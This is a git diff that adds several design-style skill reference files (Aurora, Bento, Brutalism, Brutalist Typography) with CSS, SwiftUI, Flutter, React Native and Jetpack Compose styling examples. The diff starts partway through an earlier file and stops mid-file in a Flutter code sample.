+```jsx +// Requires react-native-linear-gradient and react-native-shimmer-placeholder +import LinearGradient from 'react-native-linear-gradient'; +import { createShimmerPlaceholder } from 'react-native-shimmer-placeholder'; + +const ShimmerPlaceHolder = createShimmerPlaceholder(LinearGradient); + +const AINativeInput = () => { + return ( + <View style={{ padding: 16 }}> + {/* Generative Shimmer */} + <ShimmerPlaceHolder + style={{ width: 200, height: 20, borderRadius: 10, marginBottom: 16 }} + shimmerColors={['#ebebeb', '#c5c5c5', '#ebebeb']} + /> + + {/* AI Input Box with Gradient Border */} + <LinearGradient + colors={['#8A2387', '#E94057', '#F27121']} + style={{ borderRadius: 24, padding: 2, shadowColor: '#E94057', shadowRadius: 20, shadowOpacity: 0.2 }} + > + <View style={{ + backgroundColor: '#FFF', + borderRadius: 22, + flexDirection: 'row', + alignItems: 'center', + paddingHorizontal: 16, + height: 50 + }}> + <TextInput + placeholder="Ask anything..." + style={{ flex: 1, fontSize: 16 }} + /> + <Text style={{ fontSize: 20 }}>✨</Text> + </View> + </LinearGradient> + </View> + ); +}; +``` +- `react-native-shimmer-placeholder` is the best way to handle the morphing skeleton states. +- Like Flutter, React Native doesn't have native gradient borders. Wrap the input in a `LinearGradient` view with `padding: 2` to create the stroke. + +### Jetpack Compose +```kotlin +@Composable +fun AINativeInput() { + val infiniteTransition = rememberInfiniteTransition() + val gradientOffset by infiniteTransition.animateFloat( + initialValue = 0f, + targetValue = 1000f, + animationSpec = infiniteRepeatable( + animation = tween(1500, easing = LinearEasing), + repeatMode = RepeatMode.Restart + ) + ) + + Column(modifier = Modifier.padding(16.dp)) { + // Generative Shimmer Text + val shimmerBrush = Brush.linearGradient( + colors = listOf(Color.LightGray, Color.Gray, Color.LightGray), + start = Offset(gradientOffset - 500f, 0f), + end = Offset(gradientOffset, 0f) + ) + Text("Synthesizing response...", style = TextStyle(brush = shimmerBrush, fontWeight = FontWeight.Bold)) + + Spacer(Modifier.height(16.dp)) + + // AI Input Box + val borderBrush = Brush.linearGradient(listOf(Color(0xFF8A2387), Color(0xFFE94057), Color(0xFFF27121))) + + Row( + modifier = Modifier + .shadow(20.dp, RoundedCornerShape(24.dp), ambientColor = Color(0xFFE94057), spotColor = Color(0xFFE94057)) + .background(Color.White, RoundedCornerShape(24.dp)) + .border(2.dp, borderBrush, RoundedCornerShape(24.dp)) + .padding(horizontal = 16.dp, vertical = 12.dp), + verticalAlignment = Alignment.CenterVertically + ) { + BasicTextField( + value = "", + onValueChange = {}, + modifier = Modifier.weight(1f), + decorationBox = { innerTextField -> Text("Ask anything...", color = Color.Gray) } + ) + Icon(Icons.Default.Star, contentDescription = null, tint = Color(0xFF8A2387)) + } + } +} +``` +- Compose allows passing a `Brush` directly into the `TextStyle`, making shimmering text incredibly easy without third-party libraries. +- Compose's `Modifier.border()` natively accepts a `Brush`, making gradient borders a one-liner. + +## Do's and Don'ts +- **DO**: Use a distinct, vibrant gradient to represent the AI "agent", contrasting with a very plain, clean background. +- **DON'T**: Use complex navigation headers. The user should navigate by asking the AI, not by clicking deep menus. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/aurora-ui/SKILL.md b/antigravity-awesome-skills/skills/design-it/aurora-ui/SKILL.md new file mode 100644 index 00000000..8f2b2d58 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/aurora-ui/SKILL.md @@ -0,0 +1,307 @@ +--- +name: aurora-ui +description: Web and App implementation guide for Aurora UI. Trigger when user wants gradient glows, color blobs, and atmospheric lighting effects. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Aurora UI + +> "Ethereal, shifting lights. Like the Northern Lights trapped beneath a pane of frosted glass." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Blurred Color Orbs**: Large, out-of-focus, highly saturated color blobs floating in the background. +2. **Glassy Overlays**: Foreground elements are often semi-transparent (glassmorphism) to let the aurora effect shine through. +3. **Fluid Motion**: The background color orbs should slowly drift, expand, and contract. + +## Visual DNA +- **Colors**: Requires dark, deep backgrounds with vibrant, luminous accents. **Midnight Luxury** or **Yacht Club** (modified to dark mode) work well, injecting bright cyan, magenta, or lime green as the glowing orbs. +- **Typography**: Thin, elegant sans-serifs or sophisticated serif fonts. High contrast white text. +- **Layout**: Keep foreground UI elements minimal to let the background remain the star. + +## Web Implementation +- Best achieved with absolute-positioned, heavily blurred `div`s behind the main content. +- **CSS Example**: +```css +body { + background-color: #0A0A0A; + overflow-x: hidden; + position: relative; +} + +/* The Glowing Orb */ +.aurora-blob { + position: absolute; + width: 400px; + height: 400px; + background: radial-gradient(circle, rgba(181,154,95,0.8) 0%, rgba(181,154,95,0) 70%); + border-radius: 50%; + filter: blur(80px); + z-index: -1; + animation: float 20s infinite ease-in-out alternate; +} + +.aurora-blob.blue { + background: radial-gradient(circle, rgba(92,107,115,0.8) 0%, rgba(0,0,0,0) 70%); + top: 20%; + left: 60%; + animation-delay: -5s; +} + +@keyframes float { + 0% { transform: translate(0, 0) scale(1); } + 50% { transform: translate(-50px, 100px) scale(1.2); } + 100% { transform: translate(100px, -50px) scale(0.9); } +} + +/* Foreground content should be glassmorphic */ +.aurora-card { + background: rgba(255,255,255,0.03); + backdrop-filter: blur(20px); + border: 1px solid rgba(255,255,255,0.05); + border-radius: 24px; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct AuroraView: View { + @State private var animate = false + + var body: some View { + ZStack { + // Dark background + Color.black.ignoresSafeArea() + + // Animated Orbs + Circle() + .fill(Color(red: 0.71, green: 0.60, blue: 0.37)) // #B59A5F + .blur(radius: 80) + .frame(width: 300, height: 300) + .offset(x: animate ? -50 : 50, y: animate ? -100 : 0) + + Circle() + .fill(Color(red: 0.36, green: 0.42, blue: 0.45)) // #5C6B73 + .blur(radius: 80) + .frame(width: 300, height: 300) + .offset(x: animate ? 100 : -50, y: animate ? 100 : -50) + + // Glassy Foreground content + VStack { + Text("Aurora Interface") + .font(.largeTitle.bold()) + .foregroundColor(.white) + } + .frame(maxWidth: .infinity, maxHeight: .infinity) + .background(.ultraThinMaterial) + } + .onAppear { + withAnimation(.easeInOut(duration: 10).repeatForever(autoreverses: true)) { + animate = true + } + } + } +} +``` +- Use `Circle().blur(radius: 80...120)` in a `ZStack` underneath the main content. +- Animate the `.offset()` with a very long `duration (10-20 seconds)`. +- Use `.background(.ultraThinMaterial)` on foreground containers to let the colored light bleed through nicely. + +### Flutter +```dart +import 'dart:ui'; + +class AuroraView extends StatefulWidget { + @override + State<AuroraView> createState() => _AuroraViewState(); +} + +class _AuroraViewState extends State<AuroraView> with SingleTickerProviderStateMixin { + late AnimationController _controller; + + @override + void initState() { + super.initState(); + _controller = AnimationController(vsync: this, duration: const Duration(seconds: 10))..repeat(reverse: true); + } + + @override + void dispose() { + _controller.dispose(); + super.dispose(); + } + + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.black, + body: Stack( + children: [ + // Animated orb + AnimatedBuilder( + animation: _controller, + builder: (context, child) { + return Positioned( + top: 100 + (_controller.value * 100), + left: -50 + (_controller.value * 100), + child: Container( + width: 300, + height: 300, + decoration: const BoxDecoration( + shape: BoxShape.circle, + color: Color(0xFFB59A5F), + ), + ), + ); + }, + ), + // Massive blur layer over the orbs + Positioned.fill( + child: BackdropFilter( + filter: ImageFilter.blur(sigmaX: 80, sigmaY: 80), + child: Container(color: Colors.transparent), + ), + ), + // Glassy Foreground + Center( + child: ClipRRect( + borderRadius: BorderRadius.circular(24), + child: BackdropFilter( + filter: ImageFilter.blur(sigmaX: 16, sigmaY: 16), + child: Container( + padding: const EdgeInsets.all(32), + color: Colors.white.withOpacity(0.05), + child: const Text('Aurora Interface', + style: TextStyle(color: Colors.white, fontSize: 24, fontWeight: FontWeight.bold)), + ), + ), + ), + ), + ], + ), + ); + } +} +``` +- A massive full-screen `BackdropFilter` over moving solid circles is often more performant than blurring each circle individually. +- Layer a second, weaker `BackdropFilter` for the actual foreground glassmorphism panels. + +### React Native +```jsx +// Requires @react-native-community/blur +import { BlurView } from '@react-native-community/blur'; + +const AuroraView = () => { + const anim = useRef(new Animated.Value(0)).current; + + useEffect(() => { + Animated.loop( + Animated.sequence([ + Animated.timing(anim, { toValue: 1, duration: 10000, useNativeDriver: true }), + Animated.timing(anim, { toValue: 0, duration: 10000, useNativeDriver: true }), + ]) + ).start(); + }, []); + + const translateY = anim.interpolate({ inputRange: [0, 1], outputRange: [0, 100] }); + + return ( + <View style={{ flex: 1, backgroundColor: '#000' }}> + {/* Orb — note: React Native struggles with massive live blurs, + so pre-rendered blurred PNGs are highly recommended for production */} + <Animated.Image + source={require('./blurred_orb_cyan.png')} + style={{ + position: 'absolute', + top: -50, left: -50, + width: 400, height: 400, + opacity: 0.8, + transform: [{ translateY }] + }} + /> + + {/* Glass Foreground */} + <View style={{ flex: 1, justifyContent: 'center', alignItems: 'center' }}> + <BlurView blurType="dark" blurAmount={20} style={{ padding: 32, borderRadius: 24 }}> + <Text style={{ color: '#FFF', fontSize: 24, fontWeight: '700' }}> + Aurora Interface + </Text> + </BlurView> + </View> + </View> + ); +}; +``` +- **Performance Warning**: Do NOT use `BlurView` with huge amounts for moving background orbs on React Native — it will lag terribly, especially on Android. +- **Best Practice**: Create large, already-blurred PNG images in Figma/Photoshop and animate those using `Animated.Image`. + +### Jetpack Compose +```kotlin +@Composable +fun AuroraView() { + val infiniteTransition = rememberInfiniteTransition() + val offsetY by infiniteTransition.animateFloat( + initialValue = -50f, + targetValue = 100f, + animationSpec = infiniteRepeatable( + animation = tween(10000, easing = LinearEasing), + repeatMode = RepeatMode.Reverse + ) + ) + + Box(modifier = Modifier + .fillMaxSize() + .background(Color.Black)) { + + // Blurred Orb + Box( + modifier = Modifier + .offset(x = (-50).dp, y = offsetY.dp) + .size(300.dp) + .blur(80.dp) // API 31+ only! + .background(Color(0xFFB59A5F), CircleShape) + ) + + // Pre-API 31 fallback: use a radial gradient instead of blur + Box( + modifier = Modifier + .offset(x = 150.dp, y = (offsetY * -1).dp) + .size(300.dp) + .background( + Brush.radialGradient( + colors = listOf(Color(0xFF5C6B73).copy(alpha = 0.8f), Color.Transparent) + ) + ) + ) + + // Glass panel + Card( + modifier = Modifier.align(Alignment.Center).padding(32.dp), + colors = CardDefaults.cardColors(containerColor = Color.White.copy(alpha = 0.05f)), + shape = RoundedCornerShape(24.dp), + ) { + Text("Aurora Interface", + color = Color.White, fontSize = 24.sp, fontWeight = FontWeight.Bold, + modifier = Modifier.padding(32.dp)) + } + } +} +``` +- `Modifier.blur()` is only fully supported on Android 12 (API 31+). +- **Critical Fallback**: For older devices, use `Brush.radialGradient` fading from color to `Color.Transparent` to fake the glowing orb effect without needing expensive blur calculations. + +## Do's and Don'ts +- **DO**: Ensure the foreground text remains legible. If a bright orb floats behind white text, the text will vanish. Use glassy panels to guarantee contrast. +- **DON'T**: Use sharp gradients. Everything in the background must be heavily blurred and diffuse. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/bento-ui/SKILL.md b/antigravity-awesome-skills/skills/design-it/bento-ui/SKILL.md new file mode 100644 index 00000000..aaf1e2e1 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/bento-ui/SKILL.md @@ -0,0 +1,314 @@ +--- +name: bento-ui +description: Web and App implementation guide for Bento UI. Trigger when user wants modular grid cards, Apple-like dashboard style, or sections arranged like a bento box. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Bento UI + +> "Everything in its right place. A highly structured, modular grid of distinct compartments." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Strict Grid Structure**: The entire UI is built on a responsive, multi-column grid (usually 3x3, 4x4, or irregular masonry). +2. **Rounded Compartments**: Every distinct piece of content lives inside a card (compartment) with consistent, usually large, border-radius. +3. **Equal Spacing**: The gap between compartments must be perfectly consistent everywhere. + +## Visual DNA +- **Colors**: Highly adaptable, but looks incredibly premium with **Minimalist Slate** or **Yacht Club**. Often uses a slightly off-white or light gray background to make the white compartments pop. +- **Typography**: Apple-esque (e.g., `SF Pro`, `Inter`). Headlines are usually bold and placed at the top-left or bottom-left of each compartment. +- **Visuals**: Often relies on high-quality, edge-to-edge images or single, large 3D icons inside specific grid cells to break up text-heavy cards. + +## Web Implementation +- CSS Grid is mandatory. Flexbox is too difficult to maintain the strict 2D structure. +- **CSS Example**: +```css +.bento-container { + display: grid; + grid-template-columns: repeat(4, 1fr); + grid-auto-rows: 200px; + gap: 24px; + padding: 24px; + background-color: var(--bg-primary); /* Slightly darker than cards */ +} + +.bento-card { + background-color: #fff; + border-radius: 32px; /* Very large border radius */ + padding: 32px; + box-shadow: 0 4px 24px rgba(0,0,0,0.04); + /* Optional: subtle 1px border for crispness */ + border: 1px solid rgba(0,0,0,0.05); + + display: flex; + flex-direction: column; + justify-content: space-between; +} + +/* Creating spans for different bento sizes */ +.bento-span-2 { grid-column: span 2; } +.bento-span-2-row { grid-row: span 2; } +.bento-large { grid-column: span 2; grid-row: span 2; } +``` + +## App Implementation + +### SwiftUI +```swift +struct BentoGrid: View { + let columns = [ + GridItem(.flexible(), spacing: 16), + GridItem(.flexible(), spacing: 16) + ] + + var body: some View { + ScrollView { + LazyVGrid(columns: columns, spacing: 16) { + // 2x1 Span (Full width) + BentoCard(title: "Hero", color: .blue) + .frame(height: 180) + + // 1x1 Spans + BentoCard(title: "Stats", color: .green) + .frame(height: 180) + BentoCard(title: "Graph", color: .purple) + .frame(height: 180) + + // 1x2 Span (Tall) + BentoCard(title: "Activity", color: .orange) + .frame(height: 376) // (180 * 2) + 16 spacing + + // 1x1 Spans next to the tall one + VStack(spacing: 16) { + BentoCard(title: "A", color: .pink).frame(height: 180) + BentoCard(title: "B", color: .cyan).frame(height: 180) + } + } + .padding(16) + } + .background(Color(.systemGroupedBackground)) + } +} + +struct BentoCard: View { + let title: String + let color: Color + var body: some View { + RoundedRectangle(cornerRadius: 24) + .fill(Color(.secondarySystemGroupedBackground)) + .overlay( + Text(title).font(.headline).foregroundColor(color), + alignment: .topLeading + ) + .padding(16) + // Soft bento shadow + .shadow(color: .black.opacity(0.04), radius: 12, x: 0, y: 4) + } +} +``` +- Use `LazyVGrid` for uniform grids. +- For complex irregular bento layouts (like 1x2 spans), you often have to mix `VStack` and `HStack` inside the grid cells to fake the spans. +- Maintain absolute consistency with `cornerRadius` (usually 24-32pt) and `spacing` (usually 16pt). + +### Flutter +```dart +import 'package:flutter_staggered_grid_view/flutter_staggered_grid_view.dart'; + +class BentoScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.grey[100], + body: SingleChildScrollView( + padding: const EdgeInsets.all(16), + child: StaggeredGrid.count( + crossAxisCount: 4, // 4 columns total + mainAxisSpacing: 16, + crossAxisSpacing: 16, + children: const [ + // 2x1 (Full width in a 2-col layout, spans 4) + StaggeredGridTile.count( + crossAxisCellCount: 4, + mainAxisCellCount: 2, + child: BentoCard(title: 'Hero'), + ), + // 1x1 + StaggeredGridTile.count( + crossAxisCellCount: 2, + mainAxisCellCount: 2, + child: BentoCard(title: 'Stats'), + ), + // 1x1 + StaggeredGridTile.count( + crossAxisCellCount: 2, + mainAxisCellCount: 2, + child: BentoCard(title: 'Graph'), + ), + // 1x2 (Tall) + StaggeredGridTile.count( + crossAxisCellCount: 2, + mainAxisCellCount: 4, + child: BentoCard(title: 'Activity'), + ), + ], + ), + ), + ); + } +} + +class BentoCard extends StatelessWidget { + final String title; + const BentoCard({required this.title}); + + @override + Widget build(BuildContext context) { + return Container( + padding: const EdgeInsets.all(24), + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(24), + boxShadow: [ + BoxShadow( + color: Colors.black.withOpacity(0.04), + blurRadius: 12, + offset: const Offset(0, 4), + ), + ], + ), + alignment: Alignment.topLeft, + child: Text(title, style: const TextStyle(fontWeight: FontWeight.bold)), + ); + } +} +``` +- The `flutter_staggered_grid_view` package is practically mandatory for complex Bento grids in Flutter. +- Use `StaggeredGridTile.count` to explicitly declare the `crossAxis` and `mainAxis` span of each compartment. + +### React Native +```jsx +const BentoScreen = () => { + return ( + <ScrollView + style={{ flex: 1, backgroundColor: '#F2F2F7' }} + contentContainerStyle={{ padding: 16 }} + > + {/* 2x1 Span */} + <View style={[styles.bentoCard, { height: 180, marginBottom: 16 }]}> + <Text style={styles.title}>Hero</Text> + </View> + + <View style={{ flexDirection: 'row', gap: 16, marginBottom: 16 }}> + {/* 1x1 Spans */} + <View style={[styles.bentoCard, { flex: 1, height: 180 }]}> + <Text style={styles.title}>Stats</Text> + </View> + <View style={[styles.bentoCard, { flex: 1, height: 180 }]}> + <Text style={styles.title}>Graph</Text> + </View> + </View> + + <View style={{ flexDirection: 'row', gap: 16 }}> + {/* 1x2 Span (Tall) */} + <View style={[styles.bentoCard, { flex: 1, height: 376 }]}> + <Text style={styles.title}>Activity</Text> + </View> + + <View style={{ flex: 1, gap: 16 }}> + {/* Stacked 1x1s */} + <View style={[styles.bentoCard, { height: 180 }]}> + <Text style={styles.title}>A</Text> + </View> + <View style={[styles.bentoCard, { height: 180 }]}> + <Text style={styles.title}>B</Text> + </View> + </View> + </View> + </ScrollView> + ); +}; + +const styles = StyleSheet.create({ + bentoCard: { + backgroundColor: '#FFFFFF', + borderRadius: 24, + padding: 24, + shadowColor: '#000', + shadowOffset: { width: 0, height: 4 }, + shadowOpacity: 0.04, + shadowRadius: 12, + elevation: 2, + }, + title: { + fontWeight: '700', + fontSize: 18, + } +}); +``` +- React Native lacks CSS Grid. You must manually compose the grid using `flexDirection: 'row'` and vertical stacks. +- The `gap` property in React Native flexbox makes this significantly easier than using margins. + +### Jetpack Compose +```kotlin +@Composable +fun BentoGrid() { + Column( + modifier = Modifier + .fillMaxSize() + .background(Color(0xFFF2F2F7)) + .verticalScroll(rememberScrollState()) + .padding(16.dp), + verticalArrangement = Arrangement.spacedBy(16.dp) + ) { + // Full width + BentoCard(title = "Hero", modifier = Modifier.fillMaxWidth().height(180.dp)) + + // Two columns + Row(horizontalArrangement = Arrangement.spacedBy(16.dp)) { + BentoCard(title = "Stats", modifier = Modifier.weight(1f).height(180.dp)) + BentoCard(title = "Graph", modifier = Modifier.weight(1f).height(180.dp)) + } + + // Complex span: 1x2 left, two 1x1s right + Row(horizontalArrangement = Arrangement.spacedBy(16.dp)) { + BentoCard(title = "Activity", modifier = Modifier.weight(1f).height(376.dp)) + + Column( + modifier = Modifier.weight(1f), + verticalArrangement = Arrangement.spacedBy(16.dp) + ) { + BentoCard(title = "A", modifier = Modifier.fillMaxWidth().height(180.dp)) + BentoCard(title = "B", modifier = Modifier.fillMaxWidth().height(180.dp)) + } + } + } +} + +@Composable +fun BentoCard(title: String, modifier: Modifier = Modifier) { + Card( + modifier = modifier, + shape = RoundedCornerShape(24.dp), + colors = CardDefaults.cardColors(containerColor = Color.White), + elevation = CardDefaults.cardElevation(defaultElevation = 2.dp) + ) { + Text(title, fontWeight = FontWeight.Bold, modifier = Modifier.padding(24.dp)) + } +} +``` +- While `LazyVerticalGrid` exists, for highly specific irregular bento layouts, manually building rows and columns with `weight(1f)` is often much more reliable. +- Use `Arrangement.spacedBy(16.dp)` on both Columns and Rows to ensure mathematically perfect gutters. + +## Do's and Don'ts +- **DO**: Mix sizes! A bento box is boring if every cell is 1x1. Use 2x1, 1x2, and 2x2 cells to create visual interest. +- **DON'T**: Clutter the inside of a bento card. If it needs a lot of elements, break it into multiple cards. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/brutalism/SKILL.md b/antigravity-awesome-skills/skills/design-it/brutalism/SKILL.md new file mode 100644 index 00000000..238df29e --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/brutalism/SKILL.md @@ -0,0 +1,270 @@ +--- +name: brutalism +description: Web and App implementation guide for Brutalism. Trigger when user wants a raw appearance, intentionally unfinished look, and rejection of standard design conventions. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Brutalism + +> "Raw materials exposed. An intentional rejection of polish, gradients, and soft shadows." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Unstyled Components**: Default browser styling for buttons, inputs, and links is celebrated. +2. **Exposed Structure**: Grid lines, tables with visible borders, and stark boundaries are used instead of whitespace to separate content. +3. **Anti-Aesthetic**: Intentional awkwardness. Elements might slightly overlap in a way that feels broken, or use system default fonts. + +## Visual DNA +- **Colors**: High contrast, often clashing. Pure `#0000FF` blue for links, `#FF0000` red for accents, on stark white or `#C0C0C0` grey backgrounds. **Industrial Chic** palette fits best. +- **Typography**: Courier New, Times New Roman, Comic Sans, or default sans-serifs. No web fonts. +- **Visuals**: Dithered images, pixelated graphics, or heavily compressed jpegs. + +## Web Implementation +- Use standard HTML tags without overriding their default appearance whenever possible. +- **CSS Example**: +```css +body { + background-color: #ffffff; + color: #000000; + font-family: monospace; +} + +/* Expose the structure */ +.brutalist-container { + border: 1px solid #000; + padding: 10px; +} + +.brutalist-section { + border-bottom: 2px dashed #000; + margin-bottom: 20px; + padding-bottom: 20px; +} + +/* Default-looking button but massive */ +.brutalist-btn { + background-color: #c0c0c0; + border: 2px outset #ffffff; + border-right-color: #000000; + border-bottom-color: #000000; + color: #000000; + font-family: sans-serif; + font-size: 24px; + padding: 10px 20px; + cursor: pointer; +} + +.brutalist-btn:active { + border-style: inset; +} + +/* System link blue */ +a { + color: #0000FF; + text-decoration: underline; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct BrutalistView: View { + var body: some View { + VStack(alignment: .leading, spacing: 0) { + Text("BRUTALISM") + .font(.custom("Courier New", size: 32)) + .foregroundColor(.black) + .padding(10) + .border(Color.black, width: 2) + + Divider().background(Color.black).padding(.vertical, 20) + + Button(action: {}) { + Text("CLICK_HERE") + .font(.custom("Courier New", size: 24)) + .foregroundColor(.blue) + .underline() + } + .padding(10) + + // Raw structural container + VStack(alignment: .leading) { + Text("System Status: RAW").font(.custom("Courier New", size: 14)) + } + .padding() + .border(Color.black, width: 1) + } + .padding() + .frame(maxWidth: .infinity, maxHeight: .infinity, alignment: .topLeading) + .background(Color.white) + } +} +``` +- Avoid all native `ButtonStyle` components. Use `Text` with `.underline()` mapped to system blue. +- Use `.border(Color.black, width: 1)` instead of backgrounds or shadows. +- Force monospace fonts like Courier New or Menlo. + +### Flutter +```dart +class BrutalistScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + // DO NOT use MaterialApp theme or Scaffold if possible, + // or strip them down completely. + return Scaffold( + backgroundColor: Colors.white, + body: SafeArea( + child: Padding( + padding: const EdgeInsets.all(16.0), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + Container( + padding: const EdgeInsets.all(8), + decoration: BoxDecoration( + border: Border.all(color: Colors.black, width: 2), + ), + child: const Text( + 'BRUTALISM', + style: TextStyle( + fontFamily: 'Courier', + fontSize: 32, + color: Colors.black, + ), + ), + ), + const Padding( + padding: EdgeInsets.symmetric(vertical: 20), + child: Divider(color: Colors.black, thickness: 2), + ), + GestureDetector( + onTap: () {}, + child: const Text( + 'CLICK_HERE', + style: TextStyle( + fontFamily: 'Courier', + fontSize: 24, + color: Colors.blue, + decoration: TextDecoration.underline, + ), + ), + ), + ], + ), + ), + ), + ); + } +} +``` +- Avoid `ElevatedButton`, `Card`, or `AppBar`. +- Build UI out of raw `Container`s with `Border.all(color: Colors.black)` and `Text` widgets. +- Use `TextDecoration.underline` to indicate interactivity. + +### React Native +```jsx +const BrutalistScreen = () => { + return ( + <View style={{ flex: 1, backgroundColor: '#FFFFFF', padding: 16 }}> + <View style={{ + borderWidth: 2, + borderColor: '#000000', + padding: 10, + alignSelf: 'flex-start' + }}> + <Text style={{ fontFamily: 'monospace', fontSize: 32, color: '#000' }}> + BRUTALISM + </Text> + </View> + + <View style={{ height: 2, backgroundColor: '#000', marginVertical: 20 }} /> + + <TouchableOpacity activeOpacity={1}> + <Text style={{ + fontFamily: 'monospace', + fontSize: 24, + color: '#0000FF', + textDecorationLine: 'underline' + }}> + CLICK_HERE + </Text> + </TouchableOpacity> + + <View style={{ + borderWidth: 1, + borderColor: '#000', + padding: 16, + marginTop: 40 + }}> + <Text style={{ fontFamily: 'monospace', color: '#000' }}> + System Status: RAW + </Text> + </View> + </View> + ); +}; +``` +- Strip away all native feel. Do not use `react-native-elements` or `react-native-paper`. +- Set `activeOpacity={1}` on `TouchableOpacity` so there is no smooth fade — it should just click instantly. +- Use pure hex colors: `#FFFFFF`, `#000000`, `#0000FF`. + +### Jetpack Compose +```kotlin +@Composable +fun BrutalistScreen() { + Column( + modifier = Modifier + .fillMaxSize() + .background(Color.White) + .padding(16.dp) + ) { + Box( + modifier = Modifier + .border(2.dp, Color.Black) + .padding(10.dp) + ) { + BasicText( + text = "BRUTALISM", + style = TextStyle( + fontFamily = FontFamily.Monospace, + fontSize = 32.sp, + color = Color.Black + ) + ) + } + + Spacer(Modifier.height(20.dp)) + Box(modifier = Modifier.fillMaxWidth().height(2.dp).background(Color.Black)) + Spacer(Modifier.height(20.dp)) + + BasicText( + text = "CLICK_HERE", + modifier = Modifier.clickable { }, + style = TextStyle( + fontFamily = FontFamily.Monospace, + fontSize = 24.sp, + color = Color.Blue, + textDecoration = TextDecoration.Underline + ) + ) + } +} +``` +- Use `BasicText` instead of `Text` to bypass Material theme defaults. +- Build structural lines using `Box` with `.background(Color.Black)`. +- **Do not** use `Button` or `Card` or any Material composables. Raw layouts only. + +## Do's and Don'ts +- **DO**: Use harsh, high-contrast borders (1px solid black) around everything. +- **DON'T**: Use border-radius, drop shadows, or smooth transitions. If it animates, it should pop instantly (0s transition). + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/brutalist-typography/SKILL.md b/antigravity-awesome-skills/skills/design-it/brutalist-typography/SKILL.md new file mode 100644 index 00000000..f7acab95 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/brutalist-typography/SKILL.md @@ -0,0 +1,287 @@ +--- +name: brutalist-typography +description: Web and App implementation guide for Brutalist Typography. Trigger when user wants huge fonts, raw presentation, and aggressive layout decisions. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Brutalist Typography + +> "Aggressive, unpolished, and unapologetic. Text that demands attention by breaking the rules." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Rule Breaking**: Text that overlaps, ignores margins, or deliberately clips off the edge of the screen. +2. **Anti-Design**: Intentional use of system fonts or "ugly" fonts (Times New Roman, Courier) in massive sizes. +3. **Harsh Contrast**: Clashing colors or stark monochrome. + +## Visual DNA +- **Colors**: **Industrial Chic** (Black, White, Red) or aggressive neon clashing (e.g., pure blue on pure red). +- **Typography**: System default fonts (`Times New Roman`, `Arial`, `Courier New`) blown up to 150px. +- **Styling**: Marquees, blinking text, underlines that cut through descenders. + +## Web Implementation +- Break the grid. Use absolute positioning or negative margins. +- **CSS Example**: +```css +body { + background-color: #fff; + color: #000; + font-family: 'Times New Roman', serif; +} + +.brutalist-headline { + font-size: 15vw; + line-height: 0.7; + letter-spacing: -5px; + margin-left: -10px; /* Bleeds off screen intentionally */ + word-wrap: break-word; /* Let words break awkwardly */ +} + +.brutalist-highlight { + background-color: #ff0000; + color: #fff; + padding: 0 10px; +} + +.marquee-container { + border-top: 5px solid #000; + border-bottom: 5px solid #000; + overflow: hidden; + white-space: nowrap; + font-family: 'Courier New', monospace; + font-size: 2rem; + font-weight: bold; + padding: 10px 0; +} + +/* A nod to early 90s web */ +.brutalist-link { + color: #0000ee; + text-decoration: underline; + text-transform: uppercase; +} +.brutalist-link:hover { + background-color: #0000ee; + color: #fff; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct BrutalistTypeView: View { + var body: some View { + ScrollView { + VStack(alignment: .leading, spacing: -20) { + // Bleeds off the edge intentionally + Text("BREAK") + .font(.custom("Times New Roman", size: 120)) + .padding(.leading, -20) + + Text("THE") + .font(.custom("Arial", size: 140)) + .fontWeight(.black) + .foregroundColor(.clear) + .overlay( + Text("THE").stroke(Color.red, lineWidth: 3) + ) + .offset(x: 40) + + Text("GRID.") + .font(.custom("Courier New", size: 100)) + .background(Color.blue) + .foregroundColor(.white) + .rotationEffect(.degrees(-5)) + .offset(y: -40) + } + .frame(maxWidth: .infinity, alignment: .leading) + .padding(.top, 50) + } + .ignoresSafeArea() // Critical for Brutalist type + .background(Color.white) + } +} +``` +- `.ignoresSafeArea()` is mandatory. Text must be allowed to clip into the notch and status bar. +- Use negative `spacing` in `VStack` or explicit negative `.offset()` to force text elements to overlap each other aggressively. +- Outline text is achieved by setting `.foregroundColor(.clear)` and overlaying a `.stroke()`. + +### Flutter +```dart +class BrutalistTypeScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + // Scaffold without SafeArea + return Scaffold( + backgroundColor: Colors.white, + body: Stack( + children: [ + Positioned( + top: -20, + left: -20, + child: const Text( + 'BREAK', + style: TextStyle( + fontFamily: 'Times New Roman', + fontSize: 150, + 